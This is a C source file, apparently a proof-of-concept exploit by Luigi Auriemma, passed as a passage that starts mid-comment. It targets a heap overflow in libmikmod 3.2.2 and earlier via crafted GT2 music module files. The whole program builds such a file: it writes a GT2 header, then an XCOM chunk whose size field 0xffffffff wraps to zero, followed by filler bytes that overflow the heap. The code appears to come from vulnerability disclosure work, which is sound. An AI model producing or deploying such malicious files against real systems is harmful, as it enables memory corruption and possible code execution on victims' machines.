by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define VER "0.1"

#define cpy(x,y) strncpy(x, y, sizeof(x));
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);

#pragma pack(1)

typedef struct {
uint8_t gt2[3];
uint8_t version;
uint32_t chunk_size;
uint8_t module[32];
uint8_t comments[160];
uint8_t date_day;
uint8_t date_month;
uint16_t date_year;
uint8_t tracker[24];
uint16_t speed;
uint16_t tempo;
uint16_t volume;
uint16_t voices;
/* voices * 2 */
} gt2_t;

#pragma pack()

int main(int argc, char *argv[]) {
FILE *fd;
gt2_t gt2;
int i;
char *fname;

setbuf(stdout, NULL);

fputs("\n"
"libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <output_file.GT2>\n"
"\n", argv[0]);
exit(1);
}

fname = argv[1];

printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();

gt2.gt2[0] = 'G';
gt2.gt2[1] = 'T';
gt2.gt2[2] = '2';
gt2.version = 4;
gt2.chunk_size = 0; // unused
cpy(gt2.module, "module_name");
cpy(gt2.comments, "author");
gt2.date_day = 1;
gt2.date_month = 1;
gt2.date_year = 2006;
cpy(gt2.tracker, "tracker");
gt2.speed = 6;
gt2.tempo = 300;
gt2.volume = 0;
gt2.voices = 0;

printf("- write GT2 header\n");
fwrite(>2, sizeof(gt2), 1, fd);
for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);

printf("- build the XCOM header for exploiting the heap overflow\n");
fwmem(fd, "XCOM", 4);
fwi32(fd, 0); // unused
fwi32(fd, 0xffffffff); // bug here, 0xffffffff + 1 = 0
fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

fclose(fd);
printf("- finished\n");
return(0);
}

void fwi08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}

void fwi16(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
}

void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}

void fwstr(FILE *fd, uint8_t *str) {
fputs(str, fd);
}

void fwmem(FILE *fd, uint8_t *data, int size) {
fwrite(data, size, 1, fd);
}

void std_err(void) {
perror("\nError");
exit(1);
}